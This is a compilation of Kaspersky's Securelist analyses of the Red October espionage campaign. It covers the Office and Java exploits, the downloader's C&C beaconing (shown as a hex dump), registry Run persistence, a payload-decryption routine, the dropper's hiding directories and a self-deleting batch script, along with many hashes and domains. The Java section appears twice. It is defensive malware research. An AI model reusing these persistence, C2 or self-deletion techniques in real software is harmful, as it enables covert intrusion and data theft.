1. Red October - Java Exploit Delivery Vector Analysis -
Securelist
Источник: http://www.securelist.com/en/blog/208194086/Red_October_Java_Exploit_Delivery_Vector_Analysis
Red October - Java Exploit Delivery Vector Analysis 0.6
GReAT
Kaspersky Lab Expert
Posted January 16, 13:00 GMT
Tags: Targeted Attacks, Cyber espionage, Vulnerabilities and exploits,
Spearphishing
Since the publication of our report, our colleagues from Seculert have discovered and posted a blog about the usage of
another delivery vector in the Red October attacks.
In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also
infiltrated victim network(s) via Java exploitation (MD5: 35f1572eb7759cb7a66ca459c093e8a1 - 'NewsFinder.jar'), known
as the 'Rhino' exploit (CVE-2011-3544).
We know the early February 2012 timeframe that they would have used this technique, and this exploit use is consistent
with their approach in that it's not 0-day. Most likely, a link to the site was emailed to potential victims, and the victim
systems were running an outdated version of Java.
However, it seems that this vector was not heavily used by the group. When we downloaded the php responsible for
serving the '.jar' malcode archive, the line of code delivering the java exploit was commented out. Also, the related links,
java, and the executable payload are proving difficult to track down to this point.
The domain involved in the attack is presented only once in a public sandbox at malwr.com
(http://malwr.com/analysis/c3b0d1403ba35c3aba8f4529f43fb300/), and only on February 14th, the very same day that they
registered the domain hotinfonews.com:
Domain Name: HOTINFONEWS.COM
Registrant:
Privat Person
Denis Gozolov (gozolov@mail.ru)
Narva mnt 27
Tallinn
Tallinn,10120
EE
Tel. +372.54055298
Creation Date: 14-Feb-2012
Expiration Date: 14-Feb-2013
Following that quick public disclosure, related MD5s and links do not show up in public or private repositories, unlike the
many other Red October components.
We could speculate that the group successfully delivered their malware payload to the appropriate target(s) for a few days,
then didn't need the effort any longer. Which may also tell us that this group, which meticulously adapted and developed
their infiltration and collection toolset to their victims' environment, had a need to shift to Java from their usual
spearphishing techniques in early February 2012. And then they went back to their spear phishing.
2. Also of note, there was a log recording three separate victim systems behind an IP address in the US, each connecting
with a governmental economic research institute in the Middle East.
So, this Java Rhino exploit appears to be of limited use. And, the functionality embedded on the server side PHP script that
delivers this file is very different from the common and related functionality that we see in the backdoors used throughout
the five year campaign.
The crypto routines maintained and delivered within the exploit itself are configured such that the key used to decrypt the
URL strings within the exploit is delivered within the Java applet itself. Here is our PHP encryption routine to encrypt the
Url for the downloader content:
And this is the function to embed the applet in the HTML, passing the encrypted URL string through parameter 'p':
Here is the code within the applet that consumes the encrypted strings and uses it. The resulting functionality downloads
the file from the URL and writes it to 'javaln.exe'. Notice that the strb and stra variables maintain the same strings as the
$files and $charset variables in the php script:
This "transfer" decryption routine returns a URL that is concatenated with the other variables, resulting in
"hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win". It is this content that is written to disk and executed on
the victim's machine. A description of that downloader follows. It is most interesting that this exploit/php combination's
encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests
3. that potentially this limited use package was developed separately from the rest for a specific target.
2nd stage of the attack: EXE, downloader
The second stage of the attack is downloaded from "http://www.hotinfonews.com/news/dailynews2.php" and executed by
the payload of the Java exploit. It acts as a downloader for the next stage of the attack.
Known file location: %TEMP%javaln.exe
MD5: c3b0d1403ba35c3aba8f4529f43fb300
The file is a PE EXE file, compiled with Microsoft Visual Studio 2008 on 2012.02.06. The file is protected by an obfuscation
layer, the same as used in many Red October modules.
Obfuscation layer disassembled
The module creates a mutex named "MtxJavaUpdateSln" and exits if it already exists.
After that, it sleeps for 79 seconds and then creates one of the following registry values to be loaded automatically on
startup:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
JavaUpdateSln=%full path to own executable%
[HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun]
JavaUpdateSln=%full path to own executable%
Then, after a 49 second delay, it enters an infinite loop waiting for a working Internet connection. Every 67 seconds it
sends a HTTP POST request to the following sites:
4. www.microsoft.com
update.microsoft.com
www.google.com
Once a valid connection is established, it continues to its main loop.
C&C server connection loop
Every 180 seconds the module sends a HTTP POST request to its C&C server.
The request is sent to a hardcoded URL: www.dailyinfonews.net/reportdatas.php
The contents of the post request follow the following format:
id=%unique user ID, retrieved from the overlay of the file%&
A=%integer, indicates whether the autorun registry key was written%&
B=%0 or 1, indicates if user has administrative rights%&
C=%integer, level of privilege assigned to the current user%
00000000 50 4f 53 54 20 68 74 74 70 3a 2f 2f 77 77 77 2e |POST http://www.|
00000010 64 61 69 6c 79 69 6e 66 6f 6e 65 77 73 2e 6e 65 |dailyinfonews.ne|
00000020 74 3a 38 30 2f 72 65 70 6f 72 74 64 61 74 61 73 |t:80/reportdatas|
00000030 2e 70 68 70 20 48 54 54 50 2f 31 2e 30 0d 0a 48 |.php HTTP/1.0..H|
00000040 6f 73 74 3a 20 77 77 77 2e 64 61 69 6c 79 69 6e |ost: www.dailyin|
00000050 66 6f 6e 65 77 73 2e 6e 65 74 3a 38 30 0d 0a 43 |fonews.net:80..C|
00000060 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 36 |ontent-length: 6|
00000070 32 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a |2..Content-Type:|
00000080 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 | application/x-w|
00000090 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 |ww-form-urlencod|
000000a0 65 64 0d 0a 0d 0a 69 64 3d 41 41 41 39 33 39 35 |ed....id=AAA9395|
000000b0 37 35 32 39 35 33 31 32 35 30 35 31 34 30 32 36 |7529531250514026|
000000c0 31 30 30 36 43 43 43 39 33 33 30 30 39 42 42 42 |1006CCC933009BBB|
000000d0 31 36 35 34 31 35 31 33 26 41 3d 31 26 42 3d 31 |16541513&A=1&B=1|
000000e0 26 43 3d 32 |&C=2|
HTTP POST request sent to the C&C server
The module decrypts the C&C response with AMPRNG algorithm using a hardcoded key. Then, it checks if there is a valid
EXE signature ("MZ") at offset 37 in the decrypted buffer. If the signature is present, it writes the EXE file to
"%TEMP%nvsvc%p%p.exe" (%p depends on system time) and executes it.
3rd stage of the attack: EXE, unknown
Currently, the C&C server is unavailable and we do not have the executables that were served to the "javaln.exe"
downloader. Most likely, they were the actual droppers, similar to the ones used with Word and Excel exploits.
Conclusions
As more information about the Red October becomes available and third parties are publishing their own research into the
attacks, it becomes clear that the scope of the operation is bigger than originally thought.
In addition to the Java exploit presented here, it's possible that other delivery mechanisms were used during the 5 years
since this gang was active. For instance, we haven't seen any PDF exploits yet, which are very popular with other groups -
an unusual thing.
We will continue to monitor the situation and publish updates as the story uncovers.
5. “Red October”. Detailed Malware Description 1. First
Stage of Attack - Securelist
Источник: http://www.securelist.com/en/analysis/204792265/Red_October_Detailed_Malware_Description_1_First_Stage_of_Attack
“Red October”. Detailed Malware Description 1. First Stage of Attack
First stage of attack
1. Exploits
2. Dropper
3. Loader Module
4. Main component
Second stage of attack
1. Modules, general overview
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
7. Persistence group
8. Spreading group
9. Mobile group
10. Exfiltration group
1. Exploits
Based on the analysis of known cases, we identified two main ways through which Backdoor.Win32.Sputnik infects the
victims. Both methods rely on spear-phishing e-mails which are sent to the prospective victims. The e-mails contain an
attachment which is either an Excel or Word document, with enticing names. In addition to Office documents (CVE-2009-
3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also infiltrated victim network(s) via Java exploitation
(MD5:35f1572eb7759cb7a66ca459c093e8a1 - 'NewsFinder.jar'), known as the 'Rhino' exploit (CVE-2011-3544).
6. The Red October infection diagram
The Excel-based exploit - CVE-2009-3129
This is the oldest known way for Red October to infect computers.
A list of some of the Excel file names can be found below:
File name: MD5:
Katyn_-_opinia_Rosjan.xls bd05475a538c996cd6cafe72f3a98fae
WORK PLAN (APRIL-JUNE 2011).xls f16785fc3650490604ab635303e61de2
EEAS-Staff New contact list (05-25-2011).xls 5f9b7a70ca665a54f8879a6a16f6adde
"tactlist_05-05-2011_.8634.xls EEAS New contact list (05-05-2011).xls " bb2f6240402f765a9d0d650b79cd2560
Agenda Telefoane institutii si ministere 2011.xls 4bfa449f1a351210d3c5b03ac2bd18b1
Agenda Telefoane institutii si ministere 2011 (2).xls 4ce5fd18b1d3f551a098bb26d8347ffb
FIEO contacts update.xls ec98640c401e296a76ab7f213164ef8c
spisok sotrudnikov.xls d98378db4016404ac558f9733e906b2b
List of shahids.xls dc4a977eaa2b62ad7785b46b40c61281
7. Spravochnik.xls 5ecec03853616e13475ac20a0ef987b6
Agenda Telefoane&Email institutii si ministere 2011.xls de56229f497bf51274280ef84277ea54
EEAS New contact list (05-05-2011) (2).xls 396d9e339c1fd2e787d885a688d5c646
FIEO contacts update.xls 7e5d9b496306b558ba04e5a4c5638f9f
Telephone.xls c42627a677e0a6244b84aa977fbea15d
List of shahids.xls 1f86299628bed519718478739b0e4b0c
BMAC Attache List - At 11 Oct_v1[1].XLS f0357f969fbaf798095b43c9e7a0cfa7
MERCOSUR_Imports.xls 50bd553568422cf547539dd1f49dd80d
Cópia de guia de telefonos (2).xls cee7bd726bc57e601c85203c5767293c
Programme de fetes 2011.xls ceac9d75b8920323477e8a4acdae2803
12 05 2011 updated.xls 639760784b3e26c1fe619e5df7d0f674
telefonebi.xls d71a9d26d4bb3b0ed189c79cd24d179a
telefonebi.xls dc8f0d4ecda437c3f870cd17d010a3f6
The Excel based exploit is detected by Kaspersky products as Trojan-Dropper.MSWord.Agent.ga. It was apparently used
mostly in 2011, with several samples being uploaded to VirusTotal by the victims. For a detection link of various products,
check:
https://www.virustotal.com/file/afaebb8055559ea6bf88
cedcd6fc7b93f02cde31a560876bcc4860fd0686739d/analysis
Several detections include:
Kaspersky Trojan-Dropper.MSWord.Agent.ga 20120808
McAfee Exploit-MSExcel.u 20120808
Microsoft Exploit:Win32/CVE-2009-3129 20120808
Symantec Bloodhound.Exploit.306 20120808
TrendMicro HEUR_OLEXP.B 20120808
The Excel file properties for all the exploits indicate it has been edited on a system with Simplified Chinese Excel. The
exploit appears to have been compiled on 26 Nov 2009:
EXIF METADATA ============= MIMEType : application/vnd.ms-excel
Company :
ModifyDate : 2009:11:26 03:35:15
TitleOfParts : Sheet1
SharedDoc : No
Author :
CodePage : Windows Simplified Chinese (PRC, Singapore)
Title :
AppVersion : 11.9999
LinksUpToDate : No
ScaleCrop : No
LastModifiedBy : qq
HeadingPairs : ??????, 1
8. HyperlinksChanged : No
CreateDate : 1996:12:17 01:32:42
Security : None
FileType : XLS
Software : Microsoft Excel
The exact exploit type used by Red October in the XLS files is CVE-2009-3129.
Exploit (CVE-2009-3129) information:
“Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File
Format Converter for Mac; Office Excel Viewer 2003 SP3; Office Excel Viewer SP1 and SP2; and Office Compatibility
Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code
via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset,
aka "Excel Featheader Record Memory Corruption Vulnerability."
US-CERT info: https://www.us-cert.gov/cas/techalerts/TA09-314A.html
Patch: http://technet.microsoft.com/en-us/security/bulletin/ms09-nov
The vulnerability exploited by the Red October XLS dropper has been patched by Microsoft in November 2009.
The CVE-2009-3129 exploit and shellcode
Shellcode decryptor in XLS files
The Red October XLS CVE-2009-3129 exploit appears to have been originally developed by Chinese hackers. It was also
used in other, unrelated attacks against Tibetan activists and other entities. Its main purpose is to drop and execute a
Trojan, which for Red October is in the range of 500-600kB.
The shellcode receives control upon successful exploitation of the vulnerability and proceeds to decrypt itself. Once
decrypted, the shellcode in turn decrypts the main malware body (at offset 0x6600 in the XLS files). The malware is stored
in the Excel file at offset 0x6600, in encrypted form:
9. Encrypted malware payload in XLS files
The malware is encrypted with a simple XOR+ROR algorithm:
void decrypt(unsigned char *tbuf, unsigned long n, int round) { unsigned char b;
long i;
unsigned short ecx=0x400;
unsigned char a;
a=6;
for (i=0;i<1024;i++) {
b=tbuf[i];
b=b^ecx;
b = (b>>a) | (b<<(8-a));
tbuf[i]=b;
ecx--;
}
}
The shellcode writes the main “top” Trojan dropper to a file named “Dcs.tmp” and runs it. It will also extract a dummy Excel
file which will be shown to the user if the exploit was successful. The dummy Excel is named “~ .xls”.
The Word-based exploit – CVE-2010-3333
The CVE-2010-3333 Word-based exploit (RTF files) has been observed in September and October 2012. Example
filename / MD5 list related to the attack:
File name: MD5:
arexeio1.doc cb51ef3e541e060f0c56ac10adef37c3
Popa Tatiana -plîngere.doc 6B23732895DAAAD4BD6EAE1D0B0FEF08
La Política de Defensa y el Poder Naval en México OTAN (1).doc 44E70BCE66CDAC5DC06D5C0D6780BA45
Iran, Syria and the balance of power in the Middle East.doc 9F470A4B0F9827D0D3AE463F44B227DB
Diplomatic Staff list.doc 91EBC2B587A14EC914DD74F4CFB8DD0F
10. Diplomatic Car for Sale - MB 2000.doc 85BAEBED3D22FA63CE91FFAFCD7CC991
Rulers have hostaged parliament to further their personal interest (1).doc B9238737D22A059FF8DA903FBC69C352
Итоги президенства В.Януковича.doc 2672FBBA23BF4F5E139B10CACC837E9F
the wife of Ambassador-2.doc 65D277AF039004146061FF01BB757A8F
Вожможные стратегические решения.doc 731C68D2335E60107DF2F5AF18B9F4C9
31086823_cm04639-re02 en12.doc 9B55887B3E0C7F1E41D1ABDC32667A93
16 октября 2012 года (дополнение).doc A7330CE1B0F89AC157E335DA825B22C7
delegat.doc FC3C874BDAEDF731439BBE28FC2E6BBE
Davos2011_follow-up plan_heregjilt.doc 9950A027191C4930909CA23608D464CC
Participant list 6th Forum 09-12 update.doc C78253AEFCB35F94ACC63585D7BFB176
Draft 3_Conference Renewable energy cooperation and Grid integration.doc 5D1121EAC9021B5B01570FB58E7D4622
The Word based exploit is detected by Kaspersky products as Exploit.MSWord.CVE-2010-3333.bw. It was apparently used
mostly in 2012 (eg. October 2012), with one sample being uploaded to VirusTotal, probably by one of the victims. For a
detection link of various products, check:
https://www.virustotal.com/file/5fe53a960bc2031a185
c575ea05ac466f26739a34c651c14260e4cfbc123e87f/analysis/
Several detections include:
Kaspersky Exploit.MSWord.CVE-2010-3333.bw 20121012
McAfee - 20121012
Microsoft Exploit:Win32/CVE-2010-3333 20121012
Symantec - 20121012
TrendMicro - 20121012
The dropper is in fact an RTF file, with “author John Doe”, supposedly created by “mocrosoft office word Msfedit
5.1.21.2500”.
The same exploit / dropper have been observed in many other targeted attacks against for instance Tibetan activists. It
appears to be of Chinese origin just as the XLS exploit.
The exact exploit type used by Red October in these RTF files is CVE-2010-3333.
Exploit (CVE-2010-3333) information:
“Stack-based buffer overflow in Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and
2008 for Mac, Office for Mac 2011, and Open XML File Format Converter for Mac allows remote attackers to execute
arbitrary code via crafted RTF data, aka "RTF Stack Buffer Overflow Vulnerability."
MITRE: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3333
CERT: http://www.us-cert.gov/cas/techalerts/TA10-313A.html
Microsoft: http://technet.microsoft.com/en-us/security/bulletin/ms10-nov
The vulnerability exploited by Red October’s RTF documents was patched by Microsoft in November 2010.
The CVE-2010-3333 exploit and shellcode
11. The RTF file acts as a dropper for the main Trojan body. It also contains a fake document which is shown to the user in
case the exploit is successful.
Encrypted trojan body inside RTF files
The main Trojan body is encrypted “XOR 0xFB” and stored as hex text inside the RTF file. The shellcode decrypts the
main body and executes it.
The Word-based exploit – CVE-2012-0158
In November 2012 we’ve noticed new attacks using document files that exploit CVE-2012-0158. This exploit has been
extremely popular with APT attacks during 2012 so it’s perhaps no surprise it was also adopted by the Red October gang.
Example filename / MD5 list related to the attack:
File name: MD5:
Mazda.doc 93d0222c8c7b57d38931cfd712523c67
Komorowski.doc 51edea56c1e83bcbc9f873168e2370af
Commercial Report for October.doc 114ed0e5298149fc69f6e41566e3717a
Russian terrorist attack.doc 350c170870e42dce1715a188ca20d73b
FLOC-meeting.doc 4daa2e7d3ac1a5c6b81a92f4a9ac21f1
3037.doc 82e518fb3a6749903c8dc17287cebbf8
8th_2012 Minutes of meeting.doc 3ded9a0dd566215f04e05340ccf20e0c
The CVE-2012-0158 exploit used in these attacks is mostly undetected by antivirus products at the time of writing of this
report. Kaspersky Lab products catch and block the exploit using the state of the art “Automatic Exploit Prevention”
technology.
The same exploit / dropper have been observed in many other targeted attacks against for instance Tibetan activists. It
appears to be of Chinese origin just as the other exploits.
The exact exploit type used by Red October in these RTF files is CVE-2012-0158.
Exploit (CVE-2012-0158) information:
12. “The (1) ListView, (2) ListView2, (3) TreeView, and (4) TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common
Controls in Microsoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3;
SQL Server 2000 SP4, 2005 SP4, and 2008 SP2, SP3, and R2; BizTalk Server 2002 SP1; Commerce Server 2002 SP4,
2007 SP2, and 2009 Gold and R2; Visual FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0 Runtime allow remote
attackers to execute arbitrary code via a crafted (a) web site, (b) Office document, or (c) .rtf file that triggers "system state"
corruption, as exploited in the wild in April 2012, aka "MSCOMCTL.OCX RCE Vulnerability.""
NIST: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0158
Microsoft: http://technet.microsoft.com/en-us/security/bulletin/ms12-027
The vulnerability exploited by these Red October RTF documents was patched by Microsoft in April 2012.
The CVE-2012-0158 exploit and shellcode
The RTF file acts as a dropper for the main Trojan body. It also contains a fake document which is shown to the user in
case the exploit is successful.
Encrypted Trojan dropper body in RTF files with CVE-2012-0158
The main Trojan body is encrypted “XOR 0xDE” and stored as hex text inside the RTF file. The shellcode simply writes the
main dropper to a file named “msmx21.exe” in the %TEMP% folder and runs it. It also extracts a fake document which is
shown to the victim if the exploit has been successful.
13. Fake document shown to the victim if exploit is successful
The Java based exploit - CVE-2011-3544
Since the publication of our report, our colleagues from Seculert have discovered and posted a blog about the usage of
another delivery vector in the Red October attacks.
In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also
infiltrated victim network(s) via Java exploitation (MD5: 35f1572eb7759cb7a66ca459c093e8a1 - 'NewsFinder.jar'), known
as the 'Rhino' exploit (CVE-2011-3544).
We know the early February 2012 timeframe that they would have used this technique, and this exploit use is consistent
with their approach in that it's not 0-day. Most likely, a link to the site was emailed to potential victims, and the victim
systems were running an outdated version of Java.
However, it seems that this vector was not heavily used by the group. When we downloaded the php responsible for
serving the '.jar' malcode archive, the line of code delivering the java exploit was commented out. Also, the related links,
java, and the executable payload are proving difficult to track down to this point.
The domain involved in the attack is presented only once in a public sandbox at malwr.com
(http://malwr.com/analysis/c3b0d1403ba35c3aba8f4529f43fb300/), and only on February 14th, the very same day that they
registered the domain hotinfonews.com:
Domain Name: HOTINFONEWS.COM
Registrant:
Privat Person
Denis Gozolov (gozolov@mail.ru)
14. Narva mnt 27
Tallinn
Tallinn,10120
EE
Tel. +372.54055298
Creation Date: 14-Feb-2012
Expiration Date: 14-Feb-2013
Following that quick public disclosure, related MD5s and links do not show up in public or private repositories, unlike the
many other Red October components.
We could speculate that the group successfully delivered their malware payload to the appropriate target(s) for a few days,
then didn't need the effort any longer. Which may also tell us that this group, which meticulously adapted and developed
their infiltration and collection toolset to their victims' environment, had a need to shift to Java from their usual
spearphishing techniques in early February 2012. And then they went back to their spear phishing.
Also of note, there was a log recording three separate victim systems behind an IP address in the US, each connecting
with a governmental economic research institute in the Middle East.
So, this Java Rhino exploit appears to be of limited use. And, the functionality embedded on the server side PHP script that
delivers this file is very different from the common and related functionality that we see in the backdoors used throughout
the five year campaign.
The crypto routines maintained and delivered within the exploit itself are configured such that the key used to decrypt the
URL strings within the exploit is delivered within the Java applet itself. Here is our PHP encryption routine to encrypt the
Url for the downloader content:
And this is the function to embed the applet in the HTML, passing the encrypted URL string through parameter 'p':
Here is the code within the applet that consumes the encrypted strings and uses it. The resulting functionality downloads
the file from the URL and writes it to 'javaln.exe'. Notice that the strb and stra variables maintain the same strings as the
$files and $charset variables in the php script:
15. This "transfer" decryption routine returns a URL that is concatenated with the other variables, resulting in
"hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win". It is this content that is written to disk and executed on
the victim's machine. A description of that downloader follows. It is most interesting that this exploit/php combination's
encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests
that potentially this limited use package was developed separately from the rest for a specific target.
2nd stage of the Java exploit attack: EXE, downloader
The second stage of the attack is downloaded from "http://www.hotinfonews.com/news/dailynews2.php" and executed by
the payload of the Java exploit. It acts as a downloader for the next stage of the attack.
Known file location: %TEMP%javaln.exe
MD5: c3b0d1403ba35c3aba8f4529f43fb300
The file is a PE EXE file, compiled with Microsoft Visual Studio 2008 on 2012.02.06. The file is protected by an obfuscation
layer, the same as used in many Red October modules.
16. Obfuscation layer disassembled
The module creates a mutex named "MtxJavaUpdateSln" and exits if it already exists.
After that, it sleeps for 79 seconds and then creates one of the following registry values to be loaded automatically on
startup:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
JavaUpdateSln=%full path to own executable%
[HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun]
JavaUpdateSln=%full path to own executable%
Then, after a 49 second delay, it enters an infinite loop waiting for a working Internet connection. Every 67 seconds it
sends a HTTP POST request to the following sites:
www.microsoft.com
update.microsoft.com
www.google.com
Once a valid connection is established, it continues to its main loop.
C&C server connection loop
Every 180 seconds the module sends a HTTP POST request to its C&C server.
The request is sent to a hardcoded URL: www.dailyinfonews.net/reportdatas.php
The contents of the post request follow the following format:
17. id=%unique user ID, retrieved from the overlay of the file%&
A=%integer, indicates whether the autorun registry key was written%&
B=%0 or 1, indicates if user has administrative rights%&
C=%integer, level of privilege assigned to the current user%
00000000 50 4f 53 54 20 68 74 74 70 3a 2f 2f 77 77 77 2e |POST http://www.|
00000010 64 61 69 6c 79 69 6e 66 6f 6e 65 77 73 2e 6e 65 |dailyinfonews.ne|
00000020 74 3a 38 30 2f 72 65 70 6f 72 74 64 61 74 61 73 |t:80/reportdatas|
00000030 2e 70 68 70 20 48 54 54 50 2f 31 2e 30 0d 0a 48 |.php HTTP/1.0..H|
00000040 6f 73 74 3a 20 77 77 77 2e 64 61 69 6c 79 69 6e |ost: www.dailyin|
00000050 66 6f 6e 65 77 73 2e 6e 65 74 3a 38 30 0d 0a 43 |fonews.net:80..C|
00000060 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 36 |ontent-length: 6|
00000070 32 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a |2..Content-Type:|
00000080 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 | application/x-w|
00000090 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 |ww-form-urlencod|
000000a0 65 64 0d 0a 0d 0a 69 64 3d 41 41 41 39 33 39 35 |ed....id=AAA9395|
000000b0 37 35 32 39 35 33 31 32 35 30 35 31 34 30 32 36 |7529531250514026|
000000c0 31 30 30 36 43 43 43 39 33 33 30 30 39 42 42 42 |1006CCC933009BBB|
000000d0 31 36 35 34 31 35 31 33 26 41 3d 31 26 42 3d 31 |16541513&A=1&B=1|
000000e0 26 43 3d 32 |&C=2|
HTTP POST request sent to the C&C server
The module decrypts the C&C response with AMPRNG algorithm using a hardcoded key. Then, it checks if there is a valid
EXE signature ("MZ") at offset 37 in the decrypted buffer. If the signature is present, it writes the EXE file to
"%TEMP%nvsvc%p%p.exe" (%p depends on system time) and executes it.
3rd stage of the Java exploit attack: EXE, unknown
Currently, the C&C server is unavailable and we do not have the executables that were served to the "javaln.exe"
downloader. Most likely, they were the actual droppers, similar to the ones used with Word and Excel exploits.
2. Dropper
The dropper module is a PE EXE file, compiled with Microsoft Visual Studio 2008. It is extracted and executed by one of
the exploits used to deliver the malware to the victim.
Known variants drop and execute the “loader” component named “svchost.exe” or “svclogon.exe” and one encrypted main
component file (see description of the “loader” component).
Main function
Registry key check
The module generates a CLSID from the value of the SHA1 checksum of the system directory path and the serial number
of the system drive.
Then, it tries to read the default value of the registry key:
HKLMSoftwareClassesCLSIDgenerated_CLSID (if it has administrative rights)
HKCUSoftwareClassesCLSIDgenerated_CLSID (if it has no administrative rights)
It checks the contents of the default key value. This check succeeds if the registry key is not present or its value is equal to
the last DWORD of the file’s SHA1 checksum. Otherwise the check fails and it runs the check again each 3 milliseconds
for 4294967294 times.
18. Then, it sets the default value of the registry key to the hexadecimal representation of the value of the last SHA1’s DWORD
and tries to read the registry value “InfoTip” from the same registry key. The registry value is assumed to be a 48-byte
binary buffer. It extracts a time parameter from that buffer and self-deletes if the difference between the recorded time and
current time is less than 3 days.
This means that the updated modules can be delivered not sooner than in three days to the same victim. If someone tries
to reinfect the system with the same dropper, it refuses to do so within 3 days from last infection. This can also be a
mechanism to escape from attention of power users or administrators who can run recently opened suspicious application
again and monitor its activity.
This check is identical to the one implemented in the “loader” module.
Installation routine
The module retrieves its resource of type “AAA” and name “000”. The resource is then decrypted using a custom RC4-like
cipher with a hardcoded key.
Offset Type Description
0 DWORD If equal to “1”, the dropper should self-delete and exit after processing the resource
4 DWORD If equal to “1”, the dropper should exit after processing the resource
8 DWORD Delay in milliseconds before processing the resource
The resource header is followed by data entries each containing one file.
Offset Type Description
0 DWORD Record type
4 DWORD Size of the file name in bytes
8 DWORD Size of the file contents
12 DWORD Reserved, equal to 0x7D4
16 BYTE[] File name, Unicode
16 + size of the file name BYTE[] File contents
Every record is processed differently depending on the “Record type” value:
Record type Action
0x07 Write the file to disk
0x08 Write the file to disk and execute immediately with CreateProcess() API
Write to predefined directory:
%System Directory%wmispoold%file name% (if has administrative rights)
%APPDATA%wmispoold%file name% (if has user only rights)
0x09
0x09 – create new file and write to it
0x0A
0x0A – create new file, write and execute it
0x0D
0x0D – overwrite file
0x0E
0x0E – overwrite and execute file
Tries to terminate any running process that belongs to the file being
(over)written.
Write to the first available directory from the hardcoded list (see below)
0x0B
0x0B – write file
19. 0x0C
0x0C – write and execute file
The module sets file creation/modification time equal to the one of the “%windir%system32kernel32.dll” file.
For record types 0x0B and 0x0C, the module tries to write the file to the first available directory from the list:
%ProgramFiles%Windows NT
%APPDATA%Microsoft
%ProgramFiles%Windows NTAccessories
%ProgramFiles%Windows NTPinball
%ProgramFiles%Windows Media Player
%ProgramFiles%Web Publish
%ProgramFiles%Outlook Express
%ProgramFiles%Microsoft OfficeOffice10Data
%ProgramFiles%Microsoft OfficeOffice10
%ProgramFiles%Microsoft Frontpage
%ProgramFiles%Internet Explorer
%ProgramFiles%ComPlus Applications
%ProgramFiles%WindowsUpdate
%CommonProgramFiles%Microsoft SharedMsInfo
%CommonProgramFiles%Microsoft SharedOffice10
%CommonProgramFiles%Proof
%CommonProgramFiles%Web Folders
%CommonProgramFiles%Web Server Extensions
%CommonProgramFiles%Systemado
%CommonProgramFiles%Systemmsadc
%SystemDrive%Documents and SettingsLocalService
Application DataMicrosoft %SystemDrive%Documents and Settings
LocalService
Local SettingsApplication DataMicrosoft
%ALLUSERSPROFILE%Application Data
%windir%Installer
%windir%HelpToursmmTour
%windir%HelpTourshtmTour
%windir%HelpToursWindowsMediaPlayer
%windir%IME
%windir%MsApps
%windir%MsAppsMsInfo
%windir%inf
%ALLUSERSPROFILE%Application DataMicrosoft
%ALLUSERSPROFILE%Application DataMicrosoftOffice
%ALLUSERSPROFILE%Application DataMicrosoftOfficeData
%ALLUSERSPROFILE%Application DataMicrosoftWindows
%HOMEPATH%Local Settings
%APPDATA%
%APPDATA%MicrosoftOffice
%APPDATA%MicrosoftOfficeData
%APPDATA%MicrosoftWindows
%windir%Temp
%TMP%
%TEMP%
20. Post processing
The module deletes the following registry keys:
HKCUSoftwareMicrosoftOffice11.0WordResiliencyStartupItems
HKCUSoftwareMicrosoftOffice11.0WordResiliencyDisabledItems
This is done to erase the list of Microsoft Word documents that might need recovery, probably to avoid showing up the
document with exploit again if it crashed Microsoft Word process.
Self removal procedure
The dropper creates a file “%TEMP%msc.bat”, executes it and exits, effectively self-deleting its body:
chcp 1251
:Repeat
attrib -a -s -h -r "%path to own executable file%"
del "%path to own executable file%"
if exist "%path to own executable file%" goto Repeat
del "%path to own executable file%"
Known variants
MD5 Compilation date (source) Compilation date (payload)
D784EAB30F85D2CDFB14ED1B0D98C98C 2011.07.06 07:41:01 (GMT) 2011.03.15 07:43:59 (GMT)
418B7A888484BDCBBA3B431ACC57B6AB 2011.09.22 04:52:59 (GMT) 2011.03.15 07:43:59 (GMT)
5C23DBF7B2BED5D54EADC47889EE1038 2011.06.23 09:53:26 (GMT) 2011.03.15 07:43:59 (GMT)
EA2765A3D9F865EF7546BA7F5F145E95 2011.06.30 08:26:29 (GMT) 2011.03.15 07:43:59 (GMT)
4A5F5C6E1AD30CF2799E3EA13468B3C2 2011.07.07 09:27:34 (GMT) 2011.03.15 07:43:59 (GMT)
A03CCD50DB47361E6BD9B05017372110 2011.04.21 10:47:12 (GMT) 2011.03.15 07:43:59 (GMT)
FA28873EFD2279E9AF79202E9A7E9398 2011.08.16 06:31:24 (GMT) 2011.03.15 07:43:59 (GMT)
4ACE8A18C8710B40FF9B47F29F82EAC7 2011.08.18 06:21:22 (GMT) 2011.03.15 07:43:59 (GMT)
204F7BFA78ED99E623DEF43BA0A188C9 2011.07.20 13:04:53 (GMT) 2011.03.15 07:43:59 (GMT)
35061250A7C580A4CEA31F29E050C4FF 2011.03.14 14:46:51 (GMT) 2011.03.03 12:50:46 (GMT)
